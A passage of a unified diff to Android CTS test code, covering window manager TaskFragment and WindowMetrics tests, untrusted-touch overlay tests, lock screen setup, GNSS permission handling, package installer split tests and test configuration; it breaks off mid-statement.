@@ -73,7 +74,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        mOwnerActivity = startActivity(ActivityA.class);
+        // Launch activities in fullscreen, otherwise, some tests fail on devices which use freeform
+        // as the default windowing mode, because tests' prerequisite are that activity A, B, and C
+        // need to overlay completely, but they can be partially overlay as freeform windows.
+        mOwnerActivity = startActivityInWindowingModeFullScreen(ActivityA.class);
         mOwnerToken = getActivityToken(mOwnerActivity);
     }
 
@@ -280,7 +284,41 @@
         waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
         waitAndAssertActivityState(mActivityB, STATE_STOPPED,
                 "Activity B is occluded by Activity C, so it must be stopped.");
-        waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+    }
+
+    /**
+     * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+     * TaskFragments. It should be hidden even if part of it is not cover by the adjacent
+     * TaskFragment above.
+     */
+    @Test
+    public void testSandwichTaskFragmentInAdjacent_partialOccluding() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+        // TaskFragment C is not fully occluding TaskFragment B.
+        final Rect partialOccludingSideBounds = new Rect(mSideBounds);
+        partialOccludingSideBounds.left += 50;
+        final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams(
+                mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW);
+        final IBinder taskFragTokenC = paramsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                // Create the side TaskFragment for C and launch
+                .createTaskFragment(paramsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */)
+                .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for the TaskFragment of Activity C to be created.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
     }
 
     /**
@@ -384,7 +422,7 @@
     private void testActivityLaunchInExpandedTaskFragmentInternal() {
 
         final TaskFragmentCreationParams fullScreenParamsC = mTaskFragmentOrganizer
-                .generateTaskFragParams(mOwnerToken);
+                .generateTaskFragParams(mOwnerToken, new Rect(), WINDOWING_MODE_FULLSCREEN);
         final IBinder taskFragTokenC = fullScreenParamsC.getFragmentToken();
         final WindowContainerTransaction wct = new WindowContainerTransaction()
                 .createTaskFragment(fullScreenParamsC)
@@ -498,7 +536,10 @@
     public void testLaunchEmbeddedActivityWithShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B (with showWhenLocked)
         // side-by-side.
         initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -518,7 +559,10 @@
     public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B side-by-side.
         initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
 
@@ -538,7 +582,10 @@
     public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B side-by-side.
         mOwnerActivity.setShowWhenLocked(true);
         initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -561,7 +608,7 @@
     @Test
     public void testTranslucentAdjacentTaskFragment() {
         // Create ActivityB on top of ActivityA
-        Activity activityB = startActivity(ActivityB.class);
+        Activity activityB = startActivityInWindowingModeFullScreen(ActivityB.class);
         waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
         waitAndAssertActivityState(mActivityA, STATE_STOPPED,
                 "Activity A is occluded by Activity B, so it must be stopped.");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
index 605e336..fe7ded2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsActivityTests.java
@@ -46,6 +46,7 @@
 import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
+import java.util.function.Supplier;
 
 /**
  * Tests that verify the behavior of {@link WindowMetrics} APIs on {@link Activity activities}.
@@ -202,7 +203,6 @@
         // Resize the freeform activity.
         resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
                 WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
 
@@ -210,7 +210,6 @@
         resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
                 RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
                 RESIZED_WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
 
@@ -218,7 +217,6 @@
         resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
                 MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
                 MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
-        mWmState.computeState(activity.getComponentName());
 
         assertMetricsMatchesLayout(activity);
     }
@@ -260,19 +258,21 @@
         final OnLayoutChangeListener listener = activity.mListener;
         listener.waitForLayout();
 
-        final WindowMetrics currentMetrics = activity.getWindowManager().getCurrentWindowMetrics();
-        final WindowMetrics maxMetrics = activity.getWindowManager().getMaximumWindowMetrics();
+        final Supplier<WindowMetrics> currentMetrics =
+                () -> activity.getWindowManager().getCurrentWindowMetrics();
+        final Supplier<WindowMetrics> maxMetrics =
+                () -> activity.getWindowManager().getMaximumWindowMetrics();
 
         Condition.waitFor(new Condition<>("WindowMetrics must match layout metrics",
-                () -> currentMetrics.getBounds().equals(listener.getLayoutBounds()))
+                () -> currentMetrics.get().getBounds().equals(listener.getLayoutBounds()))
                 .setRetryIntervalMs(500).setRetryLimit(10)
                 .setOnFailure(unused -> fail("WindowMetrics must match layout metrics. Layout"
                         + "bounds is" + listener.getLayoutBounds() + ", while current window"
-                        + "metrics is " + currentMetrics.getBounds())));
+                        + "metrics is " + currentMetrics.get().getBounds())));
 
         final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
                 .getWindowingMode() == WINDOWING_MODE_FREEFORM;
-        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics.get(), maxMetrics.get(),
                 listener.getLayoutBounds(), listener.getLayoutInsets(), isFreeForm);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index 3a4254f..a4c163a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -344,12 +344,13 @@
     /** SAWs */
 
     @Test
-    public void testWhenOneSawWindowAboveThreshold_blocksTouch() throws Throwable {
+    public void testWhenOneSawWindowAboveThreshold_allowsTouch() throws Throwable {
         addSawOverlay(APP_A, WINDOW_1, .9f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
-        assertTouchNotReceived();
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
     }
 
     @Test
@@ -415,14 +416,15 @@
     }
 
     @Test
-    public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_blocksTouch()
+    public void testWhenOneSawWindowAboveThresholdAndSelfSawWindow_allowsTouch()
             throws Throwable {
         addSawOverlay(APP_A, WINDOW_1, .9f);
         addSawOverlay(APP_SELF, WINDOW_1, .7f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
-        assertTouchNotReceived();
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
     }
 
     @Test
@@ -461,14 +463,15 @@
     }
 
     @Test
-    public void testWhenThresholdIs0AndSawWindowAboveThreshold_blocksTouch()
+    public void testWhenThresholdIs0AndSawWindowAboveThreshold_allowsTouch()
             throws Throwable {
         setMaximumObscuringOpacityForTouch(0);
         addSawOverlay(APP_A, WINDOW_1, .1f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
-        assertTouchNotReceived();
+        // Opacity will be automatically capped and touches will pass through.
+        assertTouchReceived();
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 1c2fdf9..9fc6860 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -2499,7 +2499,8 @@
                 String amStartCmd =
                         (mWindowingMode == -1 || mNewTask)
                                 ? getAmStartCmd(mLaunchingActivity)
-                                : getAmStartCmd(mLaunchingActivity, mWindowingMode);
+                                : getAmStartCmd(mLaunchingActivity, mDisplayId)
+                                        + " --windowingMode " + mWindowingMode;
                 // Use launching activity to launch the target.
                 commandBuilder.append(amStartCmd)
                         .append(" -f 0x20000020");
@@ -2657,4 +2658,35 @@
     /** Activity that can handle all config changes. */
     public static class ConfigChangeHandlingActivity extends CommandSession.BasicTestActivity {
     }
+
+    public static class IgnoreOrientationRequestSession implements AutoCloseable {
+        private static final String WM_SET_IGNORE_ORIENTATION_REQUEST =
+                "wm set-ignore-orientation-request ";
+        private static final String WM_GET_IGNORE_ORIENTATION_REQUEST =
+                "wm get-ignore-orientation-request";
+        private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN =
+                Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+");
+
+        final int mDisplayId;
+        final boolean mInitialIgnoreOrientationRequest;
+
+        IgnoreOrientationRequestSession(int displayId, boolean enable) {
+            mDisplayId = displayId;
+            Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher(
+                    executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId));
+            assertTrue("get-ignore-orientation-request should match pattern",
+                    matcher.find());
+            mInitialIgnoreOrientationRequest = Boolean.parseBoolean(matcher.group(1));
+
+            executeShellCommand("wm set-ignore-orientation-request " + (enable ? "true" : "false")
+                    + " -d " + mDisplayId);
+        }
+
+        @Override
+        public void close() {
+            executeShellCommand(
+                    WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialIgnoreOrientationRequest + " -d "
+                            + mDisplayId);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 2308932..55b2b62 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -1288,6 +1288,62 @@
             return "Display #" + mId + ": name=" + mName + " mDisplayRect=" + mDisplayRect
                     + " mAppRect=" + mAppRect + " mFlags=" + mFlags;
         }
+
+        @Override
+        public boolean equals(Object o) {
+            if (o == this) {
+                return true;
+            }
+            if (o == null) {
+                return false;
+            }
+            if (!(o instanceof DisplayContent)) {
+                return false;
+            }
+
+            DisplayContent dc = (DisplayContent) o;
+
+            return (dc.mDisplayRect == null ? mDisplayRect == null
+                    : dc.mDisplayRect.equals(mDisplayRect))
+                && (dc.mAppRect == null ? mAppRect == null : dc.mAppRect.equals(mAppRect))
+                && dc.mDpi == mDpi
+                && dc.mFlags == mFlags
+                && (dc.mName == null ? mName == null : dc.mName.equals(mName))
+                && dc.mSurfaceSize == mSurfaceSize
+                && (dc.mAppTransitionState == null ? mAppTransitionState == null
+                    : dc.mAppTransitionState.equals(mAppTransitionState))
+                && dc.mRotation == mRotation
+                && dc.mFrozenToUserRotation == mFrozenToUserRotation
+                && dc.mUserRotation == mUserRotation
+                && dc.mFixedToUserRotationMode == mFixedToUserRotationMode
+                && dc.mLastOrientation == mLastOrientation;
+        }
+
+        @Override
+        public int hashCode() {
+            int result = 0;
+            if (mDisplayRect != null) {
+                result = 31 * result + mDisplayRect.hashCode();
+            }
+            if (mAppRect != null) {
+                result = 31 * result + mAppRect.hashCode();
+            }
+            result = 31 * result + mDpi;
+            result = 31 * result + mFlags;
+            if (mName != null) {
+                result = 31 * result + mName.hashCode();
+            }
+            result = 31 * result + mSurfaceSize;
+            if (mAppTransitionState != null) {
+                result = 31 * result + mAppTransitionState.hashCode();
+            }
+            result = 31 * result + mRotation;
+            result = 31 * result + Boolean.hashCode(mFrozenToUserRotation);
+            result = 31 * result + mUserRotation;
+            result = 31 * result + mFixedToUserRotationMode;
+            result = 31 * result + mLastOrientation;
+            return result;
+        }
     }
 
     public static class Task extends ActivityContainer {
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dfead81..23e26e4 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS InputMethod test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 5ee0505..a724602 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -44,6 +44,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
         "mts",
         "sts",
diff --git a/tests/location/location_gnss/AndroidManifest.xml b/tests/location/location_gnss/AndroidManifest.xml
index f463c37..49f1368 100644
--- a/tests/location/location_gnss/AndroidManifest.xml
+++ b/tests/location/location_gnss/AndroidManifest.xml
@@ -25,6 +25,7 @@
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.READ_SMS"/>
     <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index e23dd84..c872070 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -1,38 +1,67 @@
 package android.location.cts.gnss;
 
+
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.List;
+
 public class GnssStatusTest extends GnssTestCase  {
 
     private static final String TAG = "GnssStatusTest";
     private static final int LOCATION_TO_COLLECT_COUNT = 1;
     private static final int STATUS_TO_COLLECT_COUNT = 3;
+    private UiAutomation mUiAutomation;
 
   @Override
   protected void setUp() throws Exception {
     super.setUp();
     mTestLocationManager = new TestLocationManager(getContext());
+    mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
   }
 
   /**
    * Tests that one can listen for {@link GnssStatus}.
    */
+  @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
   public void testGnssStatusChanges() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
     if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
-    // Register Gps Status Listener.
-    TestGnssStatusCallback testGnssStatusCallback =
-        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-    checkGnssChange(testGnssStatusCallback);
+    // Revoke location permissions from packages before running GnssStatusTest stops
+    // active location requests, allowing this test to receive all necessary Gnss callbacks.
+    List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION);
+    List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION);
+
+    try {
+        // Register Gps Status Listener.
+        TestGnssStatusCallback testGnssStatusCallback =
+            new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+        checkGnssChange(testGnssStatusCallback);
+    } finally {
+        // For each location package, re-grant the permission
+        grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+        grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+    }
   }
 
   private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
@@ -126,4 +155,55 @@
       Log.i(TAG, "usedInFix: " + status.usedInFix(i));
     }
   }
+
+  private List<String> getPackagesWithPermissions(String permission) {
+    Context context = InstrumentationRegistry.getTargetContext();
+    PackageManager pm = context.getPackageManager();
+
+    ArrayList<String> packagesWithPermission = new ArrayList<>();
+    List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0);
+
+    for (ApplicationInfo applicationInfo : packages) {
+      String packageName = applicationInfo.packageName;
+      if (packageName.equals(context.getPackageName())) {
+        // Don't include this test package.
+        continue;
+      }
+
+      if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
+        final int flags;
+        mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS");
+        try {
+          flags = pm.getPermissionFlags(permission, packageName,
+                    android.os.Process.myUserHandle());
+        } finally {
+          mUiAutomation.dropShellPermissionIdentity();
+        }
+
+        final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED
+            | PackageManager.FLAG_PERMISSION_POLICY_FIXED
+            | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0;
+        if (!fixed) {
+          packagesWithPermission.add(packageName);
+        }
+      }
+    }
+    return packagesWithPermission;
+  }
+
+  private List<String> revokePermissions(String permission) {
+    List<String> packages = getPackagesWithPermissions(permission);
+    for (String packageWithPermission : packages) {
+      Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
+      mUiAutomation.revokeRuntimePermission(packageWithPermission, permission);
+    }
+    return packages;
+  }
+
+  private void grantLocationPermissions(String permission, List<String> packages) {
+    for (String packageToGivePermission : packages) {
+      Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
+      mUiAutomation.grantRuntimePermission(packageToGivePermission, permission);
+    }
+  }
 }
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
index 918df5a..c5fce07 100644
--- a/tests/musicrecognition/AndroidTest.xml
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -22,6 +22,7 @@
   <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
   <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index e48ba00..b1e5966 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -596,7 +596,10 @@
 
     @Test
     fun ensurePhoneCallOpsRestricted() {
-        assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
+        val pm = mContext.packageManager
+        assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE))
         val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName,
                 null, null)
         assertEquals(MODE_IGNORED, micReturn)
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 899721c..265da81 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -205,13 +205,18 @@
     }
 
     private boolean compareScreenshot(Bitmap screenshot, int color) {
-        Point size = new Point(mDisplayWidth, mDisplayHeight);
+        // TODO(b/215668037): Uncomment when we find a reliable approach across different form
+        // factors.
+        // The current approach does not handle overridden screen sizes, and there's no clear way
+        // to handle that and multiple display areas at the same time.
+//        Point size = new Point(mDisplayWidth, mDisplayHeight);
 
-        if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) {
-            Log.i(TAG, "width  or height didn't match: " + size + " vs " + screenshot.getWidth()
-                    + "," + screenshot.getHeight());
-            return false;
-        }
+//        if (screenshot.getWidth() != size.x || screenshot.getHeight() != size.y) {
+//            Log.i(TAG, "width  or height didn't match: " + size + " vs " + screenshot.getWidth()
+//                    + "," + screenshot.getHeight());
+//            return false;
+//        }
+        Point size = new Point(screenshot.getWidth(), screenshot.getHeight());
         int[] pixels = new int[size.x * size.y];
         screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
 
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
index ed0ac34..7f588e4 100644
--- a/tests/tests/content/TEST_MAPPING
+++ b/tests/tests/content/TEST_MAPPING
@@ -1,6 +1,19 @@
 {
   "presubmit": [
     {
+      "name": "FrameworksCoreTests",
+      "options": [
+        {
+          "include-filter": "android.content.pm.PackageManagerTests"
+        },
+        {
+          "exclude-annotation": "androidx.test.filters.Suppress"
+        }
+      ]
+    }
+  ],
+  "presubmit-large": [
+    {
       "name": "CtsContentTestCases",
       "options": [
         {
@@ -13,17 +26,6 @@
           "include-filter": "android.content.pm.cts"
         }
       ]
-    },
-    {
-      "name": "FrameworksCoreTests",
-      "options": [
-        {
-          "include-filter": "android.content.pm.PackageManagerTests"
-        },
-        {
-          "exclude-annotation": "androidx.test.filters.Suppress"
-        }
-      ]
     }
   ]
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 3d967d7..df40ea9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -28,12 +28,25 @@
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.DataLoaderParams;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionParams;
 import android.content.pm.PackageManager;
 import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
@@ -57,6 +70,10 @@
 import java.util.Arrays;
 import java.util.Optional;
 import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
 import java.util.stream.Collectors;
 
 @RunWith(Parameterized.class)
@@ -154,6 +171,15 @@
         }
     }
 
+    private static void writeFileToSession(PackageInstaller.Session session, String name,
+            String apk) throws IOException {
+        File file = new File(createApkPath(apk));
+        try (OutputStream os = session.openWrite(name, 0, file.length());
+             InputStream is = new FileInputStream(file)) {
+            writeFullStream(is, os, file.length());
+        }
+    }
+
     @Before
     public void onBefore() throws Exception {
         // Check if Incremental is allowed and revert to non-dataloader installation.
@@ -482,6 +508,78 @@
     }
 
     @Test
+    public void testDontKillWithSplit() throws Exception {
+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are adding split. OK to have the flag.
+            assertTrue(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testDontKillRemovedWithBaseApk() throws Exception {
+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw7", TEST_HW7);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are updating base.apk. Flag to be removed.
+            assertFalse(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     public void testDataLoaderParamsApiV1() throws Exception {
         if (!mStreaming) {
             return;
diff --git a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
index 1b41d09..379a732 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
@@ -20,16 +20,16 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.app.UiAutomation;
+import android.Manifest;
 import android.content.Context;
-import android.util.Log;
+import android.hardware.display.DisplayManager;
 import android.view.Surface;
-import android.view.SurfaceControl;
 
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
 import com.android.compatibility.common.util.DisplayUtil;
 
 import org.junit.After;
@@ -46,38 +46,39 @@
     @Rule
     public ActivityTestRule<FrameRateCtsActivity> mActivityRule =
             new ActivityTestRule<>(FrameRateCtsActivity.class);
-    private long mFrameRateFlexibilityToken;
+
+    @Rule
+    public final AdoptShellPermissionsRule mShellPermissionsRule =
+            new AdoptShellPermissionsRule(getInstrumentation().getUiAutomation(),
